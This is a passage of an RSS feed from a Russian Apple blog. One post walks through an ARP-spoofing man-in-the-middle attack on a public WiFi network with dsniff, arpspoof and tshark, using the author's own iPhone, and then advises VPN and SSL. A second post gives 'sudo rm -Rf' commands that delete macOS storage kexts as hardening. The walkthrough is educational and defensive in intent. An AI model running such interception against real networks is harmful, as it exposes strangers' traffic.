			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2009/11/01_mitm-thumb1.png" height="223" align="left" width="200" style=" display: inline; float: left; margin: 0 10px 10px 0;" />
<p>Вчера <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://twitter.com/akaDimiG" >@akaDimiG</a></noindex> сбросил мне небольшую заметку &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://macpages.ru/pages/bezopasnost-wi-fi-v-iphone-pod-somneniem.html" >Безопасность Wi-Fi в iPhone под сомнением</a></noindex>&#8220;, которая с первого взгляда у меня вызвала большое сомнение.</p>
<p>4 ноября компания <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://threatcenter.smobilesystems.com/?p=1588" >SMobile Global Threat Center</a></noindex> опубликовала исследование об атаке <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://en.wikipedia.org/wiki/Man-in-the-middle_attack" >MITM</a></noindex> (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.<br />
Ничего нового это исследование не открыло &#8211; эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://threatcenter.smobilesystems.com/wp-content/uploads/2009/11/MIMT-Whitepaper031.pdf" >на сайте компании</a></noindex>. Уязвимость SSL была продемонстрирована на <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=214501930" >конференции Black Hat</a></noindex> в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf" >New Tricks For Defeating SSL In Practice</a></noindex>&#8220;.</p>
<p>Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент <b>должен</b> установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая &#8220;жертве&#8221; данные по http. Но если &#8220;жертва&#8221; пойдёт прямо на &#8220;https://gmail.com&#8221;, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну &#8220;жертву&#8221;. Исследование &#8211; это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости &#8211; в каждой сквозит беспочвенная паника.</p>
<p>Поэтому вместо гипотетического &#8220;SSL Bypass&#8221; давайте рассмотрим, как провести атаку Man In The Middle.</p>
<p><span id="more-1926"></span></p>
<h2>Man in the middle</h2>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/11/02_mitm-full.png"  class="image-link" rel="lightbox[1926]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/11/02_mitm-thumb.png" height="270" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Я проходился <a href="http://theapplegeek.ru/archives/283" >по нерадивым администраторам</a>, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию &#8220;AP Isolation&#8221;, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.</p>
<p>Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался&#8230;</p>
<p>Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).</p>
<p>MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.</p>
<p>Обновляем порты:</p>
<pre>
$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools
</pre>
<p>К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.</p>
<pre>
$ sudo port install dsniff-devel
</pre>
<p>Теперь нужно определить адрес &#8220;жертвы&#8221;. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета <a href="http://theapplegeek.ru/archives/431" >Wireshark</a>.</p>
<p>В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован &#8220;исследователь&#8221;. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):</p>
<pre>
$ sudo tshark -i en1 not host 192.168.99.10
<small>86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local</small>
</pre>
<p>Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:</p>
<pre>
$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1
</pre>
<p>Запускаем инъекцию ложных arp, чтобы &#8220;жертве&#8221; в ответ на запрос mac маршрутизатора выдался mac &#8220;исследователя&#8221;:</p>
<pre>
$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
</pre>
<ul>
<li>-i en1 &#8211; AirPort</li>
<li>-t 192.168.99.12 &#8211; адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса</li>
<li>192.168.99.1 &#8211; адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса</li>
</ul>
<p>00:26:08:e2:a6:0c &#8211; это mac ноутбука исследователя:</p>
<pre>
$ ifconfig en1
<small>en1: flags=8863&lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c</small>
</pre>
<p>Вот, собственно, и всё, теперь трафик &#8220;жертвы&#8221; проходит через ноутбук исследователя:</p>
<pre>
$ sudo tshark -i en1 host 192.168.99.12
<small>Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1</small>
</pre>
<p>К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:</p>
<pre>
$ sudo tshark -i en1 host 192.168.99.12
<small>Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello</small>
</pre>
<p>Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/1926/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Отключение возможности подключения внешних USB-носителей</title>
		<link>http://theapplegeek.ru/archives/1795</link>
		<comments>http://theapplegeek.ru/archives/1795#comments</comments>
		<pubDate>Thu, 12 Nov 2009 16:46:55 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/archives/1795</guid>
		<description><![CDATA[Для параноиков или людей, серьёзно относящихся к безопасности в рамках организации, одним из первых порывов при настройке клиентских операционных систем является отключение возможности подключения внешних носителей информации вроде USB-дисков. На сайте АНБ (да, это именно USA National Security Agency, Central Security Service) я обнаружил рекомендацию, как это реализовать. Нужно удалить два kext&#8217;а &#8211; один для [...]]]></description>
			<content:encoded><![CDATA[<p style="clear: both"><img src="http://theapplegeek.ru/wp-content/uploads/2009/11/nsalogo1-thumb1.png" height="160" align="right" width="160" style=" display: inline; float: right; margin: 0 0 10px 10px;" />Для параноиков или людей, серьёзно относящихся к безопасности в рамках организации, одним из первых порывов при настройке клиентских операционных систем является отключение возможности подключения внешних носителей информации вроде USB-дисков. На <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.nsa.gov/applications/search/index.cfm?q=USB" >сайте АНБ</a></noindex> (да, это именно USA National Security Agency, Central Security Service) я обнаружил рекомендацию, как это реализовать. Нужно удалить два kext&#8217;а &#8211; один для USB, второй &#8211; для Firewire:</p>
<pre style="clear: both">$ sudo rm -Rf /System/Library/Extensions/IOUSBMassStorageClass.kext/
$ sudo rm -Rf /System/Library/Extensions/IOFireWireSerialBusProtocolTransport.kext/
</pre>
<p style="clear: both">У пользователей не должно быть прав администратора, иначе они запросто восстановят kext&#8217;ы (ладно, обычный пользователь вряд ли восстановит, но более-менее искушённый это сделает без проблем).</p>
<p>Но не забывайте, что при обновлении операционной системы файлы скорее всего появятся, и их нужно удалять регулярно. Вариант &#8211; создание стартовых скриптов, проводящих эту операцию при перезагрузке. Ещё один &#8211; создание каталогов с особыми правами с такими же именами (не пробовал).</p>
<p style="clear: both">А более правильный вариант &#8211; это развёртывание в сети централизованной системы аутентификации и авторизации OpenLDAP на Mac OS X Server. В этом случае в профиле пользователя в Mobility Management можно очень просто запретить использование не только съёмных USB-носителей, но и CD/DVD/etc. Исследование того, как именно это происходит, это тема для отдельной статьи, я пока ответить не могу. Но хочу :-)</p>
<p><br class="final-break" style="clear: both" /></p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/1795/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached (user agent is rejected)
Page Caching using memcached (user agent is rejected)
Database Caching 12/59 queries in 0.052 seconds using memcached
Object Caching 789/847 objects using memcached

Served from: theapplegeek.ru @ 2010-07-31 02:58:28 -->